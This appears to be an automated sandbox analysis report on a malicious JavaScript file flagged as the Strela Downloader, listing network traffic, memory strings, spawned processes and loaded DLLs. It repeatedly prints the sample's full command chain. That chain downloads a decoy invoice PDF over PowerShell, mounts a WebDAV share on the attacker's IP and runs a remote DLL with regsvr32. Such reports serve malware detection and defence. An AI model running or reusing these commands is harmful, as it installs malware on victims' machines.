Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49727

Source: global traffic

TCP traffic: 192.168.2.10:49727 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.10:64668 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49711 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000004.00000002.1279642573.00000206A18EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1342845175.00000239349C3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1342845175.00000239349E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1342845175.0000023934988000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1342845175.0000023934988000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/49
Source: net.exe, 0000000C.00000002.1342845175.00000239349C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Cn
Source: net.exe, 0000000C.00000002.1342845175.00000239349C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/_n
Source: svchost.exe, 0000000E.00000002.2575498485.0000018677200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 0000000E.00000003.1341379151.0000018677410000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7792, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 5749110051971019035.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5916

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_az4522n0.cvi.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5749110051971019035.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1580,i,2025617775236687807,10016802777393480840,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1580,i,2025617775236687807,10016802777393480840,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
